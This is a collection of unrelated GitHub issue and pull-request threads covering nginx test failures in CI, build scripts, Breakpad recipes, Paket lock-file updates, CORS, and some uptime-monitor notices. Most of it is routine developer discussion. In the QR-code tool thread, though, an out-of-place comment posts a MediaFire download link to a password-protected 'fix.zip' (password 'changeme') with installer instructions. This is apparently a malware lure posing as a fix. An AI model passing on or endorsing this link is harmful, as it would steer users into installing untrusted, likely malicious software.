GitLab: Failed to start nginx

Hi,
first, let me thank you (a lot) for your multiple tools that helped me in my njs development! Really nice and thorough.
Now, my issue is, I can't get the tests to run in my CI environment. Do you have any ideas how I could debug this?
The container that the gitlab runner is using is "node:14.16.1" – which, afaik, should have everything needed …
Thanks again and maybe you have an idea how I could get it to run.

Hi, thanks for the kind words!
It’s really impossible to say where’s the problem without any log… Enable debug logging and paste the log here.

Thanks for your answer. I tried debug logging with DEBUG=nginx-binaries – but I can't see anything out of the ordinary …
[…]

2021-04-30T13:13:27.813Z nginx-binaries Fetching https://jirutka.github.io/nginx-binaries/index.json
2021-04-30T13:13:28.014Z nginx-binaries Looking for nginx binary matching {arch: x86_64, os: linux, variant: , version: 1.18.x}
  console.info
    nginx-binaries: Downloading https://jirutka.github.io/nginx-binaries/nginx-1.18.0-x86_64-linux...
      at Object.<anonymous>.exports.log.<computed> [as info] (node_modules/nginx-binaries/src/logger.ts:39:52)
2021-04-30T13:13:28.379Z nginx-binaries File was saved in /builds/[folder]/[repo]/node_modules/.cache/nginx-binaries/nginx-1.18.0-x86_64-linux
  console.info
    nginx-testing: Starting nginx 1.18.0 on port(s): 34129
      at Object.<anonymous>.exports.log.<computed> [as info] (node_modules/nginx-testing/src/logger.ts:41:52)

[…]

    Failed to start nginx, no response on port 34129
      at startAndCheckNginxProcess (node_modules/nginx-testing/src/nginxRunner.ts:519:11)
      at Object.startNginx (node_modules/nginx-testing/src/nginxRunner.ts:338:40)

[…]

    nginx-testing: 2021/04/30 13:13:28 [emerg] 186#186: getpwnam("nginx") failed
      at Object.<anonymous>.exports.log.<computed> [as error] (node_modules/nginx-testing/src/logger.ts:41:52)
      at dumpErrorLog (node_modules/nginx-testing/src/nginxRunner.ts:503:16)
      at startAndCheckNginxProcess (node_modules/nginx-testing/src/nginxRunner.ts:518:5)
      at Object.startNginx (node_modules/nginx-testing/src/nginxRunner.ts:338:40)

Hmm, nginx fails to start because there’s no system user nginx. I haven’t encountered this problem yet because I currently run tests even against the system-provided nginx, so I have the nginx user present on the system.
This is a major bug I have to fix. I’ll try to look at it this weekend.
If you need a quick workaround now, just create user nginx before running tests.

I assume that you don’t explicitly set user nginx; in your nginx.conf…?

No, I am not – but I am trying it right now

You were correct. I added the line adduser --disabled-password --gecos "" nginx to my gitlab-ci.yml and the tests ran perfectly fine.

Thanks for the quick fix!
I am sorry to tell you, though, that it didn't really fix it for me – no I get:
nginx-testing: 2021/05/03 10:37:13 [emerg] 207#207: getgrnam("nobody") failed
      at Object.<anonymous>.exports.log.<computed> [as error] (node_modules/nginx-testing/src/logger.ts:41:52)
      at dumpErrorLog (node_modules/nginx-testing/src/nginxRunner.ts:503:16)
      at startAndCheckNginxProcess (node_modules/nginx-testing/src/nginxRunner.ts:518:5)
      at Object.startNginx (node_modules/nginx-testing/src/nginxRunner.ts:338:40)

How’s that possible that you don’t have user nobody? o.O What’s in your /etc/passwd?

To be exact, the error states, that there is no group called "nobody" …
I am using a docker container (in this case node:14.16.1) to build my app, so this is the output from inside this container:
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
node:x:1000:1000::/home/node:/bin/bash

$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
ssh:x:101:
node:x:1000:

I’ve changed the default group to nogroup, which seems to be more widespread.


Create script to build minifront and node-status for core

Penumbra core stores the minifront and node-status apps as ZIP files via Git LFA here.
This means that, when we want to deploy a new version of minifront or node-status, we need to:

Run pnpm build on web.
Make a copy of the resulting dist directories in both the minifront and node-status apps, and rename those to minifront and node-status, respectively.
Run zip -r minifront.zip minifront from inside the apps/minifront directory (and do the same inside node-status) to zip the web app.
PR those zip files to core.

Let's make a script that takes care of steps 1-3. If step 4 turns out to be especially painful in the future, we can automate that too.

cc @conorsch for visibility

@grod220 I'm adding the mainnet tag to this issue, if that's OK with you, because not having a script leaves us open to issues if the files are zipped incorrectly or e.g., with a subdirectory (which I did last week, resulting in a broken core release).

(Feel free to remove the tag if you disagree.)


[Feature] Python Tool for Generating QR Codes Including Serial Number

Feature description
The Python code located in the src/setup_payload/python path was incredibly helpful in generating the QR code and manual code. Thank you very much! I was able to add the Serial Number to the QR code using the --tlvBytes argument with the chip-tool, but is there any guide for doing this with Python?
Platform
python, windows
Platform Version(s)
No response
Anything else?
No response

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


add symupload and dump_syms tools

Added Breakpad tools for symbols uploading

dump_syms: convert symbols to platform-independant format (.sym)
symupload: upload debug symbols to the Crash server

Thank you for the review!

Great. Thanks a lot for making all the changes!

Can you upload the recipe to artifactory (just the recipe) afterwards? Then I will create binary packages using the docker containers

Great. Thanks a lot for making all the changes!

Can you upload the recipe to artifactory (just the recipe) afterwards? Then I will create binary packages using the docker containers

Yes, sure

Great. Thanks a lot for making all the changes!

Can you upload the recipe to artifactory (just the recipe) afterwards? Then I will create binary packages using the docker containers

Yes, sure

Just uploaded breakpad recipe to artifactory.


[Bug] TachiyomiSY-only issue with nhentai extension

Device information

Tachiyomi version: 1.4.1
Android version: 10
Device: galaxy s10

Steps to reproduce

Go to Browse tab, open NHentai extension
Filter -> Sort By: (doesn't matter which option you choose)
Press "Filter" button to filter

Expected behavior
Display manga by user-chosen sort type
Actual behavior
Error message:
HTTP error 404: Check website in WebView
Other details
I know extension issues should be posted to the original Tachiyomi page, but this bug doesn't occur in the main Tachiyomi app. It only happens in the TachiyomiSY app. Both app versions were up to date.

Seems to have been a temporary issue, bug is now resolved.


Column name is BigInt?

File: /application/api/migrations/m150504_104847_create_products_table.php
Column name is type bigint or type text?

Text. Thanks, need to resolve it.


CORS middleware

I think we need CORS middleware to allow access from other server/client.

@devalexqt now the cors support the attain :)


Include namespace in values file

This PR will help the user to deploy portieris other than ibm-system namespace which is hardcoded now in the code.

@liamawhite

@mkumatag Sorry we missed this one! I'm happy to accept this change, but please could you resolve the merge conflicts and then I can verify that the tests still pass?

We should also make sure that the gencerts instructions match.


Devcert cannot be found

Hi,
I am still messing around with preact-cli and I somehow deleted the preact-cli devcert in the windows certificates. With that every time I run "yarn serve" it displays this in the bash terminal and my chrome now cannot find the certificate.
$ yarn serve
yarn run v1.3.2
$ preact build && preact serve
Build [==================  ] 91% (1.4s) additional chunk assets processing
  Total precache size is about 143 kB for 14 resources.
Setting up SSL certificate (may require sudo)...
  Listening on https://localhost:8080...
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`
  Processing rewrites failed: Invalid hosting.header extglob **/*.chunk.*.js: error parsing regexp: missing closing ]: `[^\]*\.chunk\.[^\]*\.js$`

This is what it looks now on my browser

This is the preact app sample I created just now to check if this will affect on other "preact create" project and it did.
Question: How I can regenerate the cert key again and install it on my local machine just like how it automatically installed when I first run "yarn serve"? I think this will fix the issue :|
I know this is my fault for deleting the cert key but I was just curious if I setup the cert correctly when firefox automatically opens and prompted me about it. I assumed that if the certificate was deleted I will somehow see the firefox cert installation again.

Delete the certificates from %LOCALAPPDATA%/devcert

Another thing worth mentioning here is: the auto generated devcert is not secure and it will be creating issues while running serve command and testing lighthouse scores locally

Delete the certificates from %LOCALAPPDATA%/devcert, then run yarn serve


Disable chat auto refresh

Is there a way to disable auto refresh of the chat window? I just want it to stop pulling new data automatically so it would only happen when i refresh the page myself.

I guess there is at least one plugins that depend on chat history, namely playertracker, which would stop working..

But after i manually refresh the page player tracker would get its information.. Question is more that is there actually a way doing it easily.

But after i manually refresh the page player tracker would get its information..

Not sure, but only for the first few entries because the rest of the informations were automatically fetched bit by bit for the last three hours i guess.

search for the
// CONFIG OPTIONS

block.
Maybe "window.MAX_IDLE_TIME=60"  will help?
PlayerTracker display information fetched by chat-log. If you manually refresh the whole window it starts by 0. So you simply don't get any history (or scroll manually back).


[Fix #4732] Prevent Performance/HashEachMethods from registering an offense when #each follows #to_a

This cop would register an offense when #each followed #to_a, despite only working on hashes.
This change fixes that, and also adds a note to the documentation about the possibility of adding parentheses around the arguments to indicate that one is working on a multidimensional array.

Before submitting the PR make sure the following are checked:

[X] Wrote good commit messages.
[X] Commit message starts with [Fix #issue-number] (if the related issue exists).
[X] Used the same coding conventions as the rest of the project.
[X] Feature branch is up-to-date with master (if not - rebase it).
[X] Squashed related commits together.
[X] Added tests.
[X] Added an entry to the Changelog if the new code introduces user-observable changes. See changelog entry format.
[X] All tests(rake spec) are passing.
[X] The new code doesn't generate RuboCop offenses that are checked by rake internal_investigation.
[X] The PR relates to only one subject with a clear title
and description in grammatically correct, complete sentences.
[X] Updated cop documentation with rake generate_cops_documentation (required only when you've added a new cop or changed the configuration/documentation of an existing cop).

👍


(enhancement) Add a health check probe

We may want to add some kind of health check to our wg-access-server implementation. To achieve this, we may need to add a health check endpoint (see: https://docs.mattermost.com/manage/health-checks.html). This is especially useful on k8s clusters, as the failing pods can be automatically terminated and replaced by a newly scheduled one (https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/).

There already exists a basic one:
https://github.com/freifunkMUC/wg-access-server/blob/master/internal/services/health.go
https://github.com/freifunkMUC/wg-access-server/blob/349f5faee72371ad82e5055726ce389974b35880/cmd/serve/main.go#L167-L168
Seems to lack documentation.
It doesn't do any real checks though, like checking if the Wireguard interface is still up and the database can be queried or so.


Add ability to upload a ROI in geoJSON format

Like CoastSeg, we should be able to upload a geojson polygon file specifying ROI

I'll be adding an additional button that lets the user load a regular geojson file containing ROIs


#1092 Fix file param for CSV upload

Resolves #1092
✍ Description

Fix error with file param and update tests.
Side note. We should add some sort of notice to the user after the file has been submitted. There is no redirect or notice after uploading.
📷 Screenshots/Demos

@jmilljr24 yes I agree. Ideally the Organizations::Importers::GoogleCsvImportService call method either returns true (success) or false (failure) and then in the create action on the controller we can handle accordingly with a flash message.
Did you want to write an issue for this?

@jmilljr24 yes I agree. Ideally the Organizations::Importers::GoogleCsvImportService call method either returns true (success) or false (failure) and then in the create action on the controller we can handle accordingly with a flash message.
Did you want to write an issue for this?

@kasugaijin Yes I will.


selenium-cucumber-js.json configuration file is not being merged

Hi,
I'm using a selenium-cucumber-js.json file at the root of my project with these options:
{
"steps": "./features/step-definitions",
"pageObjects": "./page-objects",
"sharedObjects": "./shared-objects",
"reports": "./reports",
"browser": "firefox",
"timeout": 100000
}
but when I run the tests (>node ./node_modules/selenium-cucumber-js/index.js), the options used are the ones on index file:
{
"steps": "./step-definitions",
"pageObjects": "./page-objects",
"sharedObjects": "./shared-objects",
"reports": "./reports",
"browser": "chrome",
"timeout": 10000
}
Am I doing anything wrong? Or there is a problem on index.js when reading the file?
var configFileName = path.resolve(process.cwd(), 'selenium-cucumber-js.json');
if (fs.isFileSync(configFileName)) {
config = Object.assign(config, require(configFileName));
}
Thanks,
Vitor Carvalho

Hi Vitor,
I'm using this option at the moment so I know it works.
Have you put a breakpoint in to see what configFileName points to?

Hi lee , is there a way to update the confit file to specify custom webdriver configurations and sessions like desired capabilities and browser config using selenium builder api ?  So basically something like this ::
const driver = new webdriver.Builder()
// The "9515" is the port opened by chrome driver.
.usingServer('http://localhost:9515')
.withCapabilities({
chromeOptions: {
// Here is the path to your Electron binary.
binary: '/Path-to-Your-App.app/Contents/MacOS/Electron'
Ref link :::https://github.com/electron/electron/blob/master/docs/tutorial/using-selenium-and-webdriver.md

That's why I use the the --browserName to load a file that has exactly the configuration I want.
(It's essentially a configuration file for the driver)

Thanks lee do you have a working example I can work and add spectrom configurations ?

In world::getDriverInstance the default case uses browserName to load a particular driver FILE.  These files are similar to this one where I create a Headless Chrome driver:
(It's not a complete working example as I've left off the wrapping loader
const selenium = require('selenium-webdriver');
const chromedriver = require('chromedriver');
const createSession = function () {
const driver = new selenium.Builder().withCapabilities({
browserName: 'chrome',
chromeOptions: {
args: [
'headless',
// Use --disable-gpu to avoid an error from a missing Mesa
// library, as per
// https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md
'disable-gpu'
]
},
javascriptEnabled: true,
acceptSslCerts: true,
path: chromedriver.path
}).build();
return driver.manage().window().maximize()
.then(function() {
return driver;
});
};
module.exports = {
description: 'Headless Chrome',
createSession: createSession
};

Hi lee Found a work around but then a new driver session is created as opposed to one for my scenarios.Is the frame work capable of using the builder api ?
Please see below steps .
Created a config directory inside step definitions and added a before feature hooks to set global driver to my config :
module.exports = function () {
// add a before feature hook
/* eslint new-cap:0*/
this.BeforeFeature((feature) => {
global.driver = new selenium.Builder()
// The "9515" is the port opened by chrome driver.
    .usingServer('http://localhost:9515')
    .withCapabilities({
        chromeOptions: {
            // Here is the path to your Electron binary.
            // binary: '/Path-to-Your-App.app/Contents/MacOS/Electron'
        }
    })
    .forBrowser('electron')
    .build();

});
};

Might be a case of following the example in chrome.js in the runtime directory  and  adding a case statement with spectron  configuration and running the test with environment variable . Hopefully that should solve it ..

Headless I cannot get the example (node ./node_modules/selenium-cucumber-js/index.js) to work:
TypeError: Wait condition must be a promise-like object, function, or a Condition object          at thenableWebDriverProxy.wait (\cucumber-js\node_modules\selenium-webdriver\lib\webdriver.js:809:13)          at \cucumber-js\node_modules\selenium-cucumber-js\runtime\helpers.js:20:27          at <anonymous>          at process._tickCallback (internal/process/next_tick.js:188:7)

I get exactly the same as @superhero1 - did anyone find a cause?
If I edit chromeDriver.js in the node_modules to add a 'headless' arg, that works fine (until I do anything with npm, of course). But no version of customDriver.js that looks like chromeDriver or the version above works. I just get the wait/promise problem above

Seems no one cares. Cannot remember in which context I used this. I just moved on.


Emit when carousel is mounted

Hi,
When the carousel is loaded, I want to navigate to a certain page number.
I can change the "navigateTo", but only when the carousel is loaded. And I don't know when the carousel is actually loaded (I'm using SSR)
With this emit, a parent component can know if the Carousel is done loading

lgtm @jorgvm, will merge in with the next release!


discoverd deployment panic in CI

This appears to be very common on CI (I think it happens on every CI run):
2016/06/17 15:13:12 checking for existing discoverd process at http://<IP_ADDRESS>:1111
2016/06/17 15:13:12 discoverd responding at http://<IP_ADDRESS>:1111 taking over
2016/06/17 15:13:12 Created deployment
discoverd is exiting
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
	panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xb code=0x1 addr=0x0 pc=0x52db73]

goroutine 1 [running]:
github.com/flynn/flynn/pkg/shutdown.(*handler).exit(0xc208038150, 0x0, 0x0, 0x0, 0x8f51a0, 0xc20802e050)
	/home/ubuntu/go/src/github.com/flynn/flynn/pkg/shutdown/handler.go:69 +0x12e
github.com/flynn/flynn/pkg/shutdown.Exit()
	/home/ubuntu/go/src/github.com/flynn/flynn/pkg/shutdown/handler.go:40 +0x73
github.com/flynn/flynn/discoverd/deployment.(*Deployment).decode(0xc20809cd20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0)
	/home/ubuntu/go/src/github.com/flynn/flynn/discoverd/deployment/deployment.go:223 +0x113
github.com/flynn/flynn/discoverd/deployment.(*Deployment).MarkPerforming(0xc20809cd20, 0xc20802f970, 0xf, 0x3c, 0x0, 0x0)
	/home/ubuntu/go/src/github.com/flynn/flynn/discoverd/deployment/deployment.go:91 +0xa0
main.(*Main).Run(0xc2080800e0, 0xc20800a010, 0x6, 0x6, 0x0, 0x0)
	/home/ubuntu/go/src/github.com/flynn/flynn/discoverd/main.go:124 +0xc85
main.main()
	/home/ubuntu/go/src/github.com/flynn/flynn/discoverd/main.go:39 +0x134

/cc @josephglanville

This is an interesting one. When we create the deployment we wait for EventKindCurrent before continuing to MarkPerforming(). So for d.meta to be nil it must mean that we received the current message before receiving a ServiceMeta event.
Making MarkPerforming() wait until there is metadata that it can decode is probably fine though, we have the timeout in place anyways.

Fixed by #2945.


Key size is unclear

You have taken key as key = "secret_k". But des has 56 bit key.
Thanks in advance

In class des function run(self, key, text, action=ENCRYPT, padding=False)
if len(key) < 8:
    raise "Key Should be 8 bytes long"
elif len(key) > 8:
    key = key[:8] #If key size is above 8bytes, cut to be 8bytes long

I'm still reading the code...

in generateKeys(self)
key = self.permut(key, CP_1)
This use table CP_1 to permut 64bits key to 56bits
And the CP_1 table is correct(my book has the same table).


Add Google Analytics connector

Closing the issue because the Google sub-products will be modules under the main Google Connector


⚠ Processors has degraded performance

In 1fee671, Processors ($STATUS_URL) experienced degraded performance:

HTTP code: 200
Response time: 94 ms

Resolved: Processors performance has improved in d80c373.


Update MaterialControls.podspec

Updated deployment_target to 8.0 against 10.0 to support more operations system.

@pxbachs deployment_target 10.0 is really necessary?

Changed! Thanks @ernesto.


Parts of online documentation missing

Parts of the online documentations have gone missing. Was this intentional? If so, can you tell me when it will back up? Thanks.
For example, https://www.cvxpy.org/api_reference/cvxpy.problems.html

Thanks for letting us know, the change wasn't intentional. It's fixed now!


Paket updates dependency in unrelated group

Description
When I run commands to add or remove packages to a specific group, unrelated packages in the Main group in the paket.lock file are impacted.
For example I run paket add -g Foo Newtonsoft.Json
Newtonsoft.Json has no dependencies (for framework: net45) and nothing I've referenced elsewhere depends on newtonsoft. So this is a completely isolated change in a completely separate group, Foo. And yet making this change bumps the version of System.Collections.Immutable in the Main group from 1.4 to 1.5 in the repro case below (tested with 5.172.4)
Is this expected? It seems extremely surprising. I do understand that paket needs to work out the full dependency graph to solve the constraints, but I very much thought that the whole point of the paket.lock file was to be able to have tight control over what I change and when, and that it would prefer to keep things unchanged if it can (unless of course I am actually trying to paket update specific dependencies/everything). It seems very odd that it is updating a package that is not a dependency or dependent of the package I'm adding. It means I can't add/remove individual packages in isolation without potentially making completely unexpected and irrelevant changes to other components. Apologies if I'm fundamentally misunderstanding something about how paket is meant to work.
I could run with --keep-patch but this doesn't fully resolve the issue - I have the same problem whilst running paket remove -g Foo ElasticSearch.Net (which doesn't have a keep-patch option). I also get the same problem whilst running a paket update on a specific dependency (e.g. say I have Newtonsoft in group Foo, at version 9.0.1, and I want to paket update it to 11.0.2, then I have to omit --keep-patch, but then System.Collections.Immutable is affected).
I see the same behaviour if I try to add the dependency to the main group too with paket add Newtonsoft.Json. Again this seems surprising to me, but I've focused on the 'separate group' example as I think that ought to give me more isolation.
Note that I could not repro this with a tighter set of dependencies e.g. just System.Reflection.Metadata (which depends on System.Collection.Immutable) instead of RazorEngine.Roslyn so in other cases the behaviour is as I expect.
Repro steps
Create paket.dependencies
framework: net45

source https://www.nuget.org/api/v2

nuget RazorEngine.Roslyn
nuget Microsoft.CodeAnalysis 1.3.2
nuget System.Collections.Immutable >= 1.3.1

group Foo
  framework: net45

  source https://www.nuget.org/api/v2

  nuget ElasticSearch.Net 5.6

Create paket.lock:
RESTRICTION: == net45
NUGET
  remote: https://www.nuget.org/api/v2
    Microsoft.AspNetCore.Razor (2.1)
    Microsoft.CodeAnalysis (1.3.2)
      Microsoft.CodeAnalysis.CSharp.Workspaces (1.3.2)
      Microsoft.CodeAnalysis.VisualBasic.Workspaces (1.3.2)
    Microsoft.CodeAnalysis.Analyzers (2.6.1)
    Microsoft.CodeAnalysis.Common (1.3.2)
      Microsoft.CodeAnalysis.Analyzers (>= 1.1)
      System.Collections.Immutable (>= 1.1.37)
      System.Reflection.Metadata (>= 1.2)
    Microsoft.CodeAnalysis.CSharp (1.3.2)
      Microsoft.CodeAnalysis.Common (1.3.2)
    Microsoft.CodeAnalysis.CSharp.Workspaces (1.3.2)
      Microsoft.CodeAnalysis.CSharp (1.3.2)
      Microsoft.CodeAnalysis.Workspaces.Common (1.3.2)
    Microsoft.CodeAnalysis.VisualBasic (1.3.2)
      Microsoft.CodeAnalysis.Common (>= 1.3.2)
    Microsoft.CodeAnalysis.VisualBasic.Workspaces (1.3.2)
      Microsoft.CodeAnalysis.VisualBasic (1.3.2)
      Microsoft.CodeAnalysis.Workspaces.Common (1.3.2)
    Microsoft.CodeAnalysis.Workspaces.Common (1.3.2)
      Microsoft.CodeAnalysis.Common (1.3.2)
      Microsoft.Composition (>= 1.0.27)
    Microsoft.Composition (1.0.31)
      System.Composition (>= 1.0.31)
    RazorEngine (4.5.0-rc1)
      Microsoft.AspNetCore.Razor (>= 1.0)
    RazorEngine.Roslyn (4.1.1-rc1)
      Microsoft.AspNetCore.Razor (>= 1.0)
      Microsoft.CodeAnalysis (>= 1.0.0-rc2)
      RazorEngine (>= 4.5.0-rc1)
    System.Collections.Immutable (1.4)
    System.Composition (1.2)
      System.Composition.AttributedModel (>= 1.2)
      System.Composition.Convention (>= 1.2)
      System.Composition.Hosting (>= 1.2)
      System.Composition.Runtime (>= 1.2)
      System.Composition.TypedParts (>= 1.2)
    System.Composition.AttributedModel (1.2)
    System.Composition.Convention (1.2)
      System.Composition.AttributedModel (>= 1.2)
    System.Composition.Hosting (1.2)
      System.Composition.Runtime (>= 1.2)
    System.Composition.Runtime (1.2)
    System.Composition.TypedParts (1.2)
      System.Composition.AttributedModel (>= 1.2)
      System.Composition.Hosting (>= 1.2)
      System.Composition.Runtime (>= 1.2)
    System.Reflection.Metadata (1.4.2)
      System.Collections.Immutable (>= 1.3.1)

GROUP Foo
RESTRICTION: == net45
NUGET
  remote: https://www.nuget.org/api/v2
    Elasticsearch.Net (5.6)

Run command paket add -g Foo Newtonsoft.Json
Expected behavior
No entries in the 'Main' section of paket.lock change
Actual behavior
The line
System.Collections.Immutable (1.4)
changes to
System.Collections.Immutable (1.5)

The lock file is not to keep changes tight between commands. It's primarily
about reliable restore. That said this sounds like a a bug. But will take a
while - I'm still on vacation for 2 weeks.
bacar<EMAIL_ADDRESS>schrieb am Di., 19. Juni 2018, 00:08:

Description
When I run commands to add or remove packages to a specific group,
unrelated packages in the Main group in the paket.lock file are impacted.
For example I run paket add -g Foo Newtonsoft.Json
Newtonsoft.Json has no dependencies (given that I have framework: net45)
and nothing I've referenced elsewhere mentions newtonsoft. So this is a
completely isolated change in a completely separate group, Foo. And yet
making this change bumps the version of System.Collections.Immutable in
the Main group from 1.3.1 to 1.5.
Is this expected? It seems extremely surprising. I do understand that
paket needs to work out the full dependency graph to solve the constraints,
but I very much thought that the whole point of the paket.lock file was to
be able to have tight constraints over what I change and when, and that it
would prefer to keep things unchanged if it can, unless I specifically ask
to paket update specific dependencies/everything. It seems very odd that
it is updating a package that is not a dependency or dependent of the
package I'm adding. It means I can't make isolated updated too add/remove
individual dependencies without potentially making completely unexpected
and irrelevant changes to other components. Apologies if I'm
fundamentally misunderstanding something about how paket is meant to work.
I could run with --keep-patch but this doesn't fully resolve the issue -
I have the same problem whilst running paket remove -g Foo Newtonsoft.Json
(which doesn't have a keep-patch option). I also get the same problem
whilst running a paket update on a specific dependency (e.g. say I am
trying to update Newtonsoft from 9.0.1 to 11.0.2 in group Foo, I can't do
this whilst specifying --keep-patch to keep other unrelated dependencies
unaffected.
I see the same behaviour if I try to add the dependency to the main group
too with paket add Newtonsoft.Json. Again this seems surprising to me.
Repro steps
Create paket.dependencies
framework: net45
source https://www.nuget.org/api/v2
nuget RazorEngine.Roslyn
nuget Microsoft.CodeAnalysis 1.3.2
nuget System.Collections.Immutable >= 1.3.1
group Foo
framework: net45
source https://www.nuget.org/api/v2
nuget ElasticSearch.Net 5.6
Create paket.lock:
RESTRICTION: == net45
NUGET
remote: https://www.nuget.org/api/v2
Microsoft.AspNetCore.Razor (2.1)
Microsoft.CodeAnalysis (1.3.2)
Microsoft.CodeAnalysis.CSharp.Workspaces (1.3.2)
Microsoft.CodeAnalysis.VisualBasic.Workspaces (1.3.2)
Microsoft.CodeAnalysis.Analyzers (2.6.1)
Microsoft.CodeAnalysis.Common (1.3.2)
Microsoft.CodeAnalysis.Analyzers (>= 1.1)
System.Collections.Immutable (>= 1.1.37)
System.Reflection.Metadata (>= 1.2)
Microsoft.CodeAnalysis.CSharp (1.3.2)
Microsoft.CodeAnalysis.Common (1.3.2)
Microsoft.CodeAnalysis.CSharp.Workspaces (1.3.2)
Microsoft.CodeAnalysis.CSharp (1.3.2)
Microsoft.CodeAnalysis.Workspaces.Common (1.3.2)
Microsoft.CodeAnalysis.VisualBasic (1.3.2)
Microsoft.CodeAnalysis.Common (>= 1.3.2)
Microsoft.CodeAnalysis.VisualBasic.Workspaces (1.3.2)
Microsoft.CodeAnalysis.VisualBasic (1.3.2)
Microsoft.CodeAnalysis.Workspaces.Common (1.3.2)
Microsoft.CodeAnalysis.Workspaces.Common (1.3.2)
Microsoft.CodeAnalysis.Common (1.3.2)
Microsoft.Composition (>= 1.0.27)
Microsoft.Composition (1.0.31)
System.Composition (>= 1.0.31)
RazorEngine (4.5.0-rc1)
Microsoft.AspNetCore.Razor (>= 1.0)
RazorEngine.Roslyn (4.1.1-rc1)
Microsoft.AspNetCore.Razor (>= 1.0)
Microsoft.CodeAnalysis (>= 1.0.0-rc2)
RazorEngine (>= 4.5.0-rc1)
System.Collections.Immutable (1.3.1)
System.Composition (1.2)
System.Composition.AttributedModel (>= 1.2)
System.Composition.Convention (>= 1.2)
System.Composition.Hosting (>= 1.2)
System.Composition.Runtime (>= 1.2)
System.Composition.TypedParts (>= 1.2)
System.Composition.AttributedModel (1.2)
System.Composition.Convention (1.2)
System.Composition.AttributedModel (>= 1.2)
System.Composition.Hosting (1.2)
System.Composition.Runtime (>= 1.2)
System.Composition.Runtime (1.2)
System.Composition.TypedParts (1.2)
System.Composition.AttributedModel (>= 1.2)
System.Composition.Hosting (>= 1.2)
System.Composition.Runtime (>= 1.2)
System.Reflection.Metadata (1.4.2)
System.Collections.Immutable (>= 1.3.1)
GROUP Foo
RESTRICTION: == net45
NUGET
remote: https://www.nuget.org/api/v2
Elasticsearch.Net (5.6)
Run command paket add -g Foo Newtonsoft.Json
Expected behavior
No entries in the 'Main' section of paket.lock change
Actual behavior
The line
System.Collections.Immutable (1.3.1)
changes to
System.Collections.Immutable (1.5)
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/fsprojects/Paket/issues/3259, or mute the thread
https://github.com/notifications/unsubscribe-auth/AADgNBCl4C21AFv5FEiMbiE5GqJEwdHuks5t-CTLgaJpZM4UsjRh
.

Thanks. Enjoy your vacation!

is there a command that means “don’t touch the lock file — but update all the proj files (with all the redirects etc) to be consistent with the current lockfile”?

paket install should do that.

I don’t think that’s true. It doesn’t seem to always leave the lock file alone, and the doc doesn’t suggest that it will:

Unlike paket update, paket install will only look for new versions of dependencies that have been modified in paket.dependencies and use the version from paket.lock for all other dependencies.

Install will touch lock file when it thinks it's out of sync with deps file
bacar<EMAIL_ADDRESS>schrieb am Di., 19. Juni 2018, 10:14:

I don’t think that’s true. It doesn’t seem to always leave the lock file
alone, and the doc https://fsprojects.github.io/Paket/paket-install.html
doesn’t suggest that it will:
Unlike paket update, paket install will only look for new versions of
dependencies that have been modified in paket.dependencies and use the
version from paket.lock for all other dependencies.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/fsprojects/Paket/issues/3259#issuecomment-398314318,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AADgNMFVa-o2coWS0H31XEAuhd0c9uxcks5t-LLYgaJpZM4UsjRh
.

OK. FWIW install suffers from the same problem I outlined in issue 3257


⚠ Fortnite has degraded performance

In aa14b83, Fortnite (https://fortnite.com) experienced degraded performance:

HTTP code: 200
Response time: 1539 ms

Resolved: Fortnite performance has improved in 1794cb6.


Remove unused Extra associated types

r? @photoszzt or @emilio

@bors-servo r+

